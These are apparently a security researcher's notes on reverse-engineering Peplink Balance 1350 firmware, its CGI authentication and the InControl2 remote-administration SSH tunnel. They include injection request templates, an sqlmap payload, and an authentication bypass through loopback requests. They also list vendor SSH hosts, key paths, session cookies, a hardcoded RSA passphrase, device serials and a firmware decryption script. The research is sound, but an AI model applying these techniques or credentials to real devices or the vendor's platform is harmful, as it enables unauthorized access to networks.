Behind the Peplink management plane.

CGI authentication, remote administration, and the path through InControl2.

On this page

Research notes · Pepwave Balance 1350 Web CGI research

Reconnaissance

Firmware download: Firmware & Documentation- Peplink

CGI handlers implement the main request logic. The device uses a 32-bit x86 architecture.

CODE
index.cgi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.28, stripped

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Most binary protections are disabled.

Two main CGI binaries, index and cgibox, handle most of the application logic. Most CGI paths are symlinks to one of them, so these binaries and their shared libraries are the primary analysis targets.

Historical vulnerabilities: A command injection vulnerability had existed in api.cgi. TALOS-2023-1782 || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence The injection point:

CODE

int xml_submit_x509_overwrite_mvpn_self(char* cert, char* key, char* pw)
{
    char cmd[0x400] = {0};
    int result = 0;
    if (cert == 0)
    {
        result = 9;
    } else {
        result = 9;
        if (key != 0 && pw != 0)
        {
            snprintf(&cmd, 0x400, "/usr/local/ilink/bin/certificate_helper check_pk %s %s \"%s\" >/dev/null 2>&1", cert, key, __sh_escape(pw));  // [1] Craft an OS command using the unchecked, attacker-controlled cert and key parameters
            if (system(&var_418) != 0) {  // [2] Execute the command with root privileges
                return 2;
            }

The request format was:

CODE
POST /cgi-bin/MANGA/api.cgi
{"cert_pem":"INJECTION_HERE","key_pem_passphrase":"dasd","func":"cmd.mvpn.x509.write"}
The fix appeared incomplete on the Balance 1350 tested here.

An SQL injection vulnerability had also existed in admin.cgi, using SQLite. It was fixed in 2017. Peplink Vulnerability Hunting | X41 D-Sec The injection format:

CODE
./sqlmap.py -u "https://ip/cgi-bin/MANGA/admin.cgi" --cookie="bauth=csOWLxU4BvoMfhY2rHLVFm1EmZWV74zinla9IVclqrYxH16426647" -p"bauth" --level 5 --risk 3 --dbms sqlite --technique=BEUSQ --flush-session -t trace.log --prefix "'" --suffix "--" -a
...
sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests:
---
Parameter: bauth (Cookie)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: bauth=-5663' OR 9790=9790--
---

Request processing

Authentication: Submitted request:

CODE
POST /cgi-bin/MANGA/api.cgi
{"username":"admin","password":"dasd","func":"login"}
Because api.cgi is a symlink to cgibox, I followed the authentication logic from the cgibox main function.
Authentication checks for the corresponding bauthid file under /tmp/session/.
Certificate handling was another potential vulnerability candidate:

Command injection

C
  snprintf(command, 0x400uLL, "/usr/local/ilink/bin/capwap_cli getclistat %s %s %d >/dev/null 2>&1", a1, s, 10LL);
  v3 = system(command) / 256;

CGI authentication flow

C
// positive sp value has been detected, the output may be wrong!
__int64 __fastcall sub_4098F4(__int64 a1, const char **a2)
{
  unsigned int v2; // w22
  char *v4; // x0
  const char *v5; // x19
  int v6; // w23
  char *v7; // x0
  const char *v8; // x0
  char *v9; // x20
  char **v10; // x19
  const char *v11; // x1
  const char *v12; // t1
  __int64 v14; // x0

  v4 = getenv("SCRIPT_NAME");
  if ( v4 && (v5 = v4, *v4) )
  {
    v6 = 0;
  }
  else
  {
    v5 = *a2;
    v6 = 1;
  }
  v7 = strrchr(v5, '/');
  if ( v7 )
    v8 = v7 + 1;
  else
    v8 = v5;
  v9 = strdup(v8);
  v10 = &off_607D18;
  v9[strcspn(v9, ".?")] = 0;
  v11 = off_607D18;
  if ( off_607D18 )
  {
    do
    {
      if ( !strcmp(v9, v11) )
        break;
      v12 = v10[4];
      v10 += 4;
      v11 = v12;
    }
    while ( v12 );
  }
  if ( !v6 )
  {
    v14 = *((unsigned int *)v10 + 4);
    if ( (_DWORD)v14 )
    {
      v14 = *((unsigned int *)v10 + 5);
      if ( (_DWORD)v14 )
        goto LABEL_14;
    }
    cgi_init(v14);
    if ( (*((_DWORD *)v10 + 4) || (unsigned int)sub_410D30()) && (*((_DWORD *)v10 + 5) || (unsigned int)sub_410D10()) )
      goto LABEL_14;
LABEL_21:
    cgi_send_header("Content-type: text/xml");
    cgi_send_header("");
    printf("<%s>", "response");
    fprintf((FILE *)stdout, "<%s>%d</%s>", "status", 0LL, "status");
    fprintf((FILE *)stdout, "<%s>%s</%s>", "errorMessage", "Login is required", "errorMessage");
    printf("</%s>", "response");
    goto LABEL_15;
  }
  if ( !*((_DWORD *)v10 + 6) )
    goto LABEL_21;
LABEL_14:
  ((void (__fastcall *)(_QWORD, const char **))v10[1])(v2, a2);
LABEL_15:
  free(v9);
  return 0LL;
}

.rodata:000000000057A590 dword_57A590    DCD 'ipa'               ; DATA XREF: sub_409BD0+254↑r
.rodata:000000000057A590                                         ; sub_40D8C0↑o ...
.rodata:000000000057A594                 DCD 0
.rodata:000000000057A598                 DCQ 'nib_ipa'
.rodata:000000000057A5A0                 DCB "data",0            ; DATA XREF: sub_428250+C↑o
.rodata:000000000057A5A0                                         ; sub_429560+3C↑o ...
.rodata:000000000057A5A5                 ALIGN 8
.rodata:000000000057A5A8                 DCB "data_ic2",0
.rodata:000000000057A5B1                 ALIGN 8
.rodata:000000000057A5B8                 DCB "connicon",0
.rodata:000000000057A5C1                 ALIGN 8
.rodata:000000000057A5C8                 DCB "chkactivate",0
.rodata:000000000057A5D4                 ALIGN 8
.rodata:000000000057A5D8                 DCB "download",0        ; DATA XREF: sub_448470+310↑o
.rodata:000000000057A5D8                                         ; sub_448470+490↑o ...
.rodata:000000000057A5E1                 ALIGN 8
.rodata:000000000057A5E8                 DCB "admin",0           ; DATA XREF: sub_4105F0+2C↑o
.rodata:000000000057A5E8                                         ; sub_4105F0+34↑o ...
.rodata:000000000057A5EE                 ALIGN 0x10
.rodata:000000000057A5F0                 DCB "download_config",0
.rodata:000000000057A600                 DCB "upload_config",0
.rodata:000000000057A60E                 ALIGN 0x10
.rodata:000000000057A610                 DCB "download_subnet",0
.rodata:000000000057A620                 DCB "idchange",0
.rodata:000000000057A629                 ALIGN 0x10
.rodata:000000000057A630                 DCB "chkfw",0
.rodata:000000000057A636                 ALIGN 8
.rodata:000000000057A638                 DCB "hastatus",0
.rodata:000000000057A641                 ALIGN 8
.rodata:000000000057A648                 DCB "linkusage",0
.rodata:000000000057A652                 ALIGN 8
.rodata:000000000057A658                 DCB "wanstatus_v2",0
.rodata:000000000057A665                 ALIGN 8
.rodata:000000000057A668                 DCB "webtools",0
.rodata:000000000057A671                 ALIGN 8
.rodata:000000000057A678                 DCB "wwan_status_starter",0
.rodata:000000000057A68C                 ALIGN 0x10
.rodata:000000000057A690                 DCB "legal",0           ; DATA XREF: .text:loc_4239B0↑o
.rodata:000000000057A690                                         ; sub_4239C0↑r ...
.rodata:000000000057A696                 ALIGN 8
.rodata:000000000057A698                 DCB "hasync",0
.rodata:000000000057A69F                 ALIGN 0x20
.rodata:000000000057A6A0                 DCB "download_autowpa",0
.rodata:000000000057A6B1                 ALIGN 8
.rodata:000000000057A6B8                 DCB "download_gpx",0
.rodata:000000000057A6C5                 ALIGN 8
.rodata:000000000057A6C8                 DCB "download_pcap",0
.rodata:000000000057A6D6                 ALIGN 8
.rodata:000000000057A6D8                 DCB "upload_brand",0
.rodata:000000000057A6E5                 ALIGN 8
.rodata:000000000057A6E8                 DCB "admin_upload",0
.rodata:000000000057A6F5                 ALIGN 8
.rodata:000000000057A6F8                 DCB "api_upload",0
.rodata:000000000057A703                 ALIGN 8
.rodata:000000000057A708                 DCB "extapfloorplan_process",0
.rodata:000000000057A71F                 ALIGN 0x20
.rodata:000000000057A720                 DCB "download_blk_list",0
.rodata:000000000057A732                 ALIGN 8
.rodata:000000000057A738                 DCB "redirect",0        ; DATA XREF: .text:0000000000413494↑o
.rodata:000000000057A738                                         ; sub_41349C↑o ...
.rodata:000000000057A741                 ALIGN 8
.rodata:000000000057A748                 DCB "webcli",0
.rodata:000000000057A74F                 ALIGN 0x10
.rodata:000000000057A750                 DCB "api_ic2",0

The structure:

CODE
.data:0000000000607D18 CGIS            DCQ CGI_LIST            ; DATA XREF: sub_4098E0+70↑o
.data:0000000000607D18                                         ; sub_4098E0+74↑o ...
.data:0000000000607D20 qword_607D20    DCQ 0x44F1A0            ; DATA XREF: sub_4098E0:loc_409988↑r
.data:0000000000607D28 dword_607D28    DCD 1                   ; DATA XREF: sub_4098E0:loc_4099B8↑r
.data:0000000000607D28                                         ; sub_4098E0+EC↑r
.data:0000000000607D2C dword_607D2C    DCD 1                   ; DATA XREF: sub_4098E0+E0↑r
.data:0000000000607D2C                                         ; sub_4098E0:loc_4099D4↑r
.data:0000000000607D30 dword_607D30    DCD 0                   ; DATA XREF: sub_4098E0+A0↑r

sizeof(API) = 0x20
typedef struct API{
	char * API_NAME;
	char * function_addr;
	int32 auth_flag1;
	int32 auth_flag2; // flag1&flag2=1 passauth
	int check_flag; //when script_name = "" if !check_flag passauth
}

The firmware-information endpoint:

CODE
GET /cgi-bin/MANGA/data.cgi?option=sysinfo&_=1714450525371 HTTP/1.1
Host: 14.0.138.49
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://14.0.138.49/cgi-bin/MANGA/index.cgi?mode=config&option=utsysinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: pauth=8oc6tUMU6gozpf5r79SOTAUAZuMVZgS5x4aWPOJU59jtf
Connection: close

The device looks up the supplied cookie in the session database. A matching entry authenticates the request. Otherwise, it checks whether REMOTE_ADDR is 127.0.0.1: a loopback request causes a session to be inserted, while other requests fail authentication. A successful login also inserts a session.
X-Forwarded-For handling was not enabled.

Endpoint permissions

PYTHON
import ida_bytes

def get_cginame(address):
    # Read the memory referenced by the pointer.
    string_pointer = address  # Read a 64-bit pointer.
    if string_pointer != 0:
        buffer = bytearray()
        max_length = 100  # Limit the read length.

        # Read until a null byte or the length limit.
        for i in range(max_length):
            byte = ida_bytes.get_byte(string_pointer + i)  # Read one byte.
            if byte == 0:
                break  # Stop at the null terminator.
            buffer.append(byte)  # Append the byte to the buffer.

        # Decode the collected bytes as text.
        string_content = buffer.decode('utf-8')  # Assume UTF-8 / ASCII.
        return string_content

def get_function(address):
    return ida_bytes.get_qword(address)

def get_auth_check_flag(address):
    return ida_bytes.get_dword(address)

def get_auth_check(address):
    return ida_bytes.get_qword(address)

if __name__ == "__main__":
    start_addr = 0x000041F358
    end_addr = 0x0000000000041F8B0
    tmp = start_addr
    while tmp <= end_addr:
        pointer_address = tmp
        cgi_name = get_cginame(pointer_address)
        func = get_function(pointer_address+0x40)
        #if auth_check == 1:
        print(cgi_name,hex(func))
        tmp += 0x50

api cgi:

CODE
sizeof(API_CGI) = 0x20
typedef struct API_CGI{
	char * FUNC_NAME;
	char * function_addr;
	int32 auth_flag1;
	int32 auth_flag2; // flag1&flag2=1 passauth
	int32 check_flag; //when script_name = "" if !check_flag passauth
    int32 unkonwn
    int unkonwn
}
noauth func

Unauthenticated endpoints

Main CGIBOX handlers:

CODE
api 0x44f1a0 1 1 0  // Performs a second authentication check.
api_bin 0x44f270 1 1 1
connicon 0x422200 1 1 0
support 0x414780 1 1 0
legal 0x423850 1 1 0
hasync 0x40ac20 1 1 0
redirect 0x413470 1 1 0
webcli 0x413bc0 1 1 0 // Checks permissions, including loopback access.
api_ic2 0x44f1a0 1 1 0

Unauthenticated functions in the main API:

CODE
auth.token.grant 0x44cf60 1 1 0
login 0x44b610 1 1 0
logout 0x44cc70 1 1 1
info.time 0x447d40 1 1 0
info.firmware 0x44d5b0 1 1 0
info.login 0x447e80 1 1 0

GUEST CGIBOX:

CODE
redirect 0x405fc0
logo 0x403690
login 0x403c30
logon 0x403df0
logoff 0x403fd0
json_status 0x4047c0
json_logon 0x4048c0
json_logoff 0x404a80
preview 0x4066d0
auth 0x404b80
portal 0x405ab0
success 0x405e80
subscription 0x406320
subscription_success 0x406340
portal_cdn 0x406720
api 0x407a10 // Reachable.

GUEST API functions:

CODE
info
submit

Authentication must be analyzed together with the NGINX configuration.

Request processing flow:
Redrawn · CGI request dispatch
Redrawn · CGI request dispatch
  • Reverse the session login flow.

The ic2 process:

CODE
ssh_ic2 -4 -F /tmp/ssh_config_rwa rwa21.peplink.com

config:

CODE
Host rwa21.peplink.com
  User sshuser1
  HostName 104.248.96.24
  Port 443
  TCPKeepAlive yes
  StrictHostKeyChecking yes
  UserKnownHostsFile /tmp/known_hosts_rwa
  ServerAliveCountMax 2
  ServerAliveInterval 10
  ConnectTimeout 5
  IdentityFile /etc/.ssh/ra-ic2.dsa.key
  PubkeyAcceptedKeyTypes +ssh-dss
  RemoteForward 127.0.0.1:48423 localhost:80


[104.248.96.24]:443 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCO4xvd6l1bH+7kEvv1J7EcV+5oGyxHB4SAs98PetEuEEQwVai0DYwewb5sgqgCdfiLqwouvK+HhMwxrwGyoXb8=
Observation: knowing the device identifier allows a device to be bound through the cloud platform, granting management access. The authentication-related fields are:
CODE
_littlecloud_session=d40d1f7a4c285bb83f6876f3161aa121;
Knowing `_littlecloud_session` exposes the following two fields:
Set-Cookie: _rwa_session_ic_293C-B16D-AAB1=C6qPYREH8uCuT6Ypf3+TYLOK6NfvFe3qa1tUKrz9ZQ1Ya32mcWF77U+9qeU6oAPR; Path=/; Domain=.peplink.com; Expires=Tue, 07-May-2024 03:32:36 GMT; Max-Age=3600; Secure; SameSite=None
Set-Cookie: pauth=n17virz2c3o3RywX3sAyvYFJlJbwQyb4y9qJyZLD19FHy; HttpOnly; SameSite=Strict;

Additional observations:

CODE
Set-Cookie: pauth=n17virz2c3o3RywX3sAyvYFJlJbwQyb4y9qJyZLD19FHy; HttpOnly; SameSite=Strict;
This `pauth` value works and is inserted into the session database. An ordinary session is not inserted after a failed login. I therefore suspected an undocumented account, possibly derived from the device identifier. This remained a hypothesis.

The firmware returns this field during login, and the corresponding code can be located. My working hypothesis was that the cloud backend could obtain a management login using the device ID, while a local request could authenticate with the returned cookie. I found no firmware code setting or validating rwa_session_ic, suggesting that it belonged to the platform. The tentative model was: The device ID is bound to a LittleCloud session. The platform obtains a usable cookie using the device ID. rwa_session_ic may correspond to a changing request field on the platform. It did not appear to be an access token. An undocumented access mechanism was suspected, but not established.

CODE
v2 = check_auth_loop();
  if ( !(_DWORD)v2 )
    goto LABEL_10;
  v3 = sub_410D30(); // Second authentication check.
  if ( (_DWORD)v3 )
  {
    cgi_init_headers(v3);
    v4 = "start_shellinaboxd.sh web_cli admin";
    goto LABEL_4;
  }

Working conclusion: An undocumented management-access path might exist in an endpoint or another port. Its mechanism still required verification.

Platform requests to webcli.cgi appeared to require only the platform's own session.

An unusual process:

CODE
root       357  0.0  0.0   3116   388 ?        S    15:52   0:00 runsv 999-ssh_rwa
root       358  0.0  0.1   3248  1608 ?        S    15:52   0:00 /bin/sh /usr/local/ilink/bin/active_ic2_ssh rwa
root       368  0.0  0.7   8292  6672 ?        S    15:52   0:00 ssh_ic2 -4 -F /tmp/ssh_config_rwa rwa21.peplink.com

This process might forward tunnel traffic. It could also explain why an already bound device could not be bound again: a single SSH account may connect back to the server. I therefore captured traffic to the observed egress IP, 104.248.96.24.

Capturing local traffic:
CODE
tcpdump -i lo tcp -v -r 777.pcap
Requests appeared to bypass normal validation when REMOTE_ADDR=127.0.0.1.
Observed traffic flow: user requests -> couldserver -> ssh_sock -> localhost -> ssh_sock -> user response The firmware appeared to return a usable cookie when it recognized a request as local. Open question: What request does the cloud service send to the device during its initial binding? Hypothesis: The device ID is combined with .rwa21.peplink.com, for example: 293c-b16d-aab1-ic.rwa21.peplink.com This suggested that some device-side service receives the binding request, with a corresponding database record on the cloud server. Candidate attack surface one: Investigate the SSH credentials and whether ssh_sock provides a shell connection. Candidate attack surface two: locate the suspected undocumented firmware path and clarify its authentication logic. WTP appears to control traffic returned by ic2.
WTP starts SSH, suggesting that the corresponding UDP port is externally reachable.
Working request-flow model: A user requests the device-specific cloud endpoint. The cloud service processes the request and forwards it to rwa21.peplink.com. An SSH remote-forwarding port relays it to port 80 on the device, then to its CGI handler. The handler sees a local request and bypasses the usual authentication check, creating the suspected unauthorized-access path.
Redrawn · Remote administration sketch (schematic)
Redrawn · Remote administration sketch (schematic)
The device appeared to initiate the connection, but the wake-up mechanism was unknown. WTP analysis was still in progress.
CODE
GET /cgi-bin/MANGA/admin.cgi HTTP/1.1
Host: 127.0.0.1
WEB-ADMIN-ACCESS-MODE: RW

WTP analysis

Additional request headers in wget_ext_hdr indicated that the traffic passes through WTP processing.
The device identifier was found in pismo_board:
The following shared libraries were analysis targets:

Man-in-the-middle investigation

SSH key location: /etc/.ssh/ra.key
CODE
ssh -p 443 sshuser1@104.248.96.24 -L 9999:localhost:48032 -o PubkeyAcceptedKeyTypes=+ssh-dss  -o UserKnownHostsFile=./knownhosts -o IdentityFile=.//ra-ic2.dsa.key

Traffic flow

Redrawn · Login and relay selection
Redrawn · Login and relay selection
Redrawn · Request forwarding path
Redrawn · Request forwarding path
Redrawn · Response return path
Redrawn · Response return path
How does https://incontrol2.peplink.com/login determine which SSH-server port to connect to?
Redrawn · Session-to-forwarding-port mapping
Redrawn · Session-to-forwarding-port mapping
ATTACK:
Redrawn · Direct tunnel connection hypothesis
Redrawn · Direct tunnel connection hypothesis

Remote wake-up

Testing showed that the device supports a remote wake-up mechanism.  tcpdump -i usb0 udp and host 35.167.224.48 -r 888.pcap -v

Connection IPs:
CODE
ac1.peplink.com
cat /var/log/wtp.log
tcpdump -i usb0 -vvv -X udp port 34034
Traffic arriving through WTP also appeared to bypass authentication. The connection model seemed to involve an initial outbound connection followed by inbound traffic over that connection. The device appeared to connect outward to receive packets.
There were indications that the connection could be influenced:
I found the following background on OpenCAPWAP WTP: Site Unreachable

Experimental attack design

At this stage, the experiment supported a man-in-the-middle position. Precondition: an administrator uses REMOTE_WEB in the IC2 platform, creating an SSH tunnel. Requests delivered through that tunnel reach the device without the usual authentication context.

Proposed experiment: Use a script to connect to the SSH tunnel and probe for an open forwarding port. If present, use the observed vulnerability to retrieve a configuration file and compare it with previously collected records, storing only new results. Repeat the observation after an interval.

Alternative approach: Investigate the AC program for a potential unauthenticated RCE path.
CODE
https://api7.ic.peplink.com/rest/o/nen4g1/g/4/verify_add_devices
data=%5B%7B%22sn%22%3A%222936-8088-DF48%22%7D%5D

IC2 platform findings

An expired, unbound device remained accessible through a direct link in the experiment. Combined with the endpoint that returns a device serial number, this appeared to create an unauthorized-access opportunity.
Listed as unavailable, but still reachable:
CODE
[Remote Web Admin](https://293b-1f42-5138-ic.rwa21.peplink.com/)
CODE
GET /cgi-bin/MANGA/index.cgi?option=incontrol_redirect&mode=submit HTTP/1.1
Host: 121.202.249.2
Connection: close
sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: bauth=eGL5waMyWYQeIXgQHDxqWUYQQiCP2Tu7rf3ShPrgD8mf4

Device-move endpoint:
Only devices in the current group could be moved. I did not test moving another user's device because of the risk to that device.

Configuration decryption

CODE
>>> strings = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@#$^&_()"
>>> strings[0x36]
'S'
>>> strings[0xa]
'a'
>>> strings[0x15]
'l'
>>> strings[0x1d]
't'
>>> strings[0x0e]
'e'
>>> strings[0x0d]
'd'
>>> strings[0x43]
'_'
>>> strings[0x43]
'_'
getport.rwa21.peplink.com/sn/182C-B77F-9F94 Command used:
CODE
ssh getport@ra.peplink.com -4 -p 5246 -o UserKnownHostsFile=./knownhosts -o IdentityFile=./ra.key -o ConnectTimeout=10 "182C-B77F-9F94"
This returns a connection port. The returned port can then be used for the connection; it appears that the port must first be opened.
The allocated port changes each time, but the parameters must match the serial number.

Firmware decryption

Peplink Vulnerability Hunting | X41 D-Sec - Penetration Tests and Source Code Audits

SHELL
$ cat start_kvm.sh 
kvm \
    -m 128 \
    -kernel ./bootdata1.bin \
    -initrd ./bootdata2.bin \
    -append "root=/dev/ram0 ramdisk_size=131072 console=ttyS0,115200 fw=2 init=/bin/sh noapic" \
    -net nic -net tap,ifname=tap0 -nographic \
    -serial mon:stdio

Decryption script:

PYTHON
#!/usr/bin/env python3
import os
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import unpad

def evp_bytestokey(password: bytes, salt: bytes, key_len=32, iv_len=16):
    """
    Reproduce OpenSSL EVP_BytesToKey derivation (MD5, one iteration).
    """
    d = d_i = b''
    while len(d) %3C key_len + iv_len:
        d_i = hashlib.md5(d_i + password + salt).digest()
        d += d_i
    return d[:key_len], d[key_len:key_len+iv_len]

def main():
    fw_path = "firmware.bin"
    rsa_key_path = "rd"
    out_path = "firmware_decrypted.bin"

    print("[*] Starting Peplink firmware decryption...")

    # 1. Load the RSA private key using the recovered hardcoded passphrase.
    print(f"[*] Loading RSA private key: {rsa_key_path}")
    try:
        with open(rsa_key_path, 'rb') as f:
            rsa_key = RSA.import_key(f.read(), passphrase="NTM1NjgxaZ")
        cipher_rsa = PKCS1_v1_5.new(rsa_key)
    except Exception as e:
        print(f"[-] Failed to load RSA private key: {e}")
        return

    # 2. Read the encrypted firmware.
    print(f"[*] Reading firmware: {fw_path}")
    with open(fw_path, 'rb') as f:
        fw_data = f.read()

    # 3. Scan for the encrypted block's base offset.
    print("[*] Scanning the firmware header for the encrypted block base offset...")
    sentinel = b"RSA_DECRYPT_ERROR"
    base = -1
    passphrase = b""
    
    # Determine the RSA block size: 256 bytes for 2048-bit keys, 512 for 4096-bit keys.
    rsa_block_size = cipher_rsa._key.size_in_bytes()
    print(f"[*] RSA key length: {rsa_block_size * 8} bits")

    # Scan the first 64 KB for the correct start offset.
    for i in range(0, 65536):
        rsa_block_start = i + 4
        rsa_block_end = rsa_block_start + rsa_block_size
        rsa_block = fw_data[rsa_block_start : rsa_block_end]
        
        if len(rsa_block) != rsa_block_size:
            break
        
        try:
            # Attempt RSA private-key decryption.
            decrypted_raw = cipher_rsa.decrypt(rsa_block, sentinel)
            # A result other than the sentinel passes the initial decryption check.
            if decrypted_raw != sentinel:
                # Check that the passphrase is printable ASCII, usually ending in a newline.
                if b'\n' in decrypted_raw:
                    base = i
                    print(f"[+] Found base offset: {base} (0x{base:X})")
                    passphrase = decrypted_raw.split(b'\n')[0]
                    break
        except ValueError:
            # Skip offsets that produce a "Ciphertext too large" error.
            continue
        except Exception:
            # Handle other decryption exceptions.
            continue

    if base == -1:
        print("[-] No matching offset found. The block may be further into the file, or the file may be damaged.")
        return

    print(f"[*] Passphrase recovered from the RSA block: {passphrase.hex()} ({passphrase!r})")

    # 5. Extract the salt and derive the AES key and IV.
    salt_start = base + 522
    salt = fw_data[salt_start : salt_start + 8]
    print(f"[+] Salt: {salt.hex()}")

    aes_key, aes_iv = evp_bytestokey(passphrase, salt)
    print(f"[+] Derived AES-256 key: {aes_key.hex()}")
    print(f"[+] Derived AES-256 IV:  {aes_iv.hex()}")

    # 6. Decrypt the firmware payload.
    # The ciphertext follows the salt at base + 530.
    ciphertext_start = base + 530
    ciphertext = fw_data[ciphertext_start:]
    
    print(f"[*] Decrypting payload ({len(ciphertext)} bytes)...")
    cipher_aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
    plaintext_padded = cipher_aes.decrypt(ciphertext)

    # Remove PKCS7 padding.
    try:
        plaintext = unpad(plaintext_padded, AES.block_size)
    except ValueError:
        print("[-] Padding removal failed. The key may be incorrect or the file may contain an unencrypted trailer. Saving the unpadded result as-is.")
        plaintext = plaintext_padded

    # 7. Write the decrypted file.
    with open(out_path, "wb") as f:
        f.write(plaintext)
    
    print(f"[+] Firmware decrypted and saved to: {out_path}")
    
    # Optionally inspect the first bytes to identify the file type.
    file_magic = plaintext[:4]
    print(f"[*] Decrypted file magic: {file_magic.hex()} ({file_magic!r})")

if __name__ == "__main__":
    main()

A null byte in the password caused a truncation issue during decryption.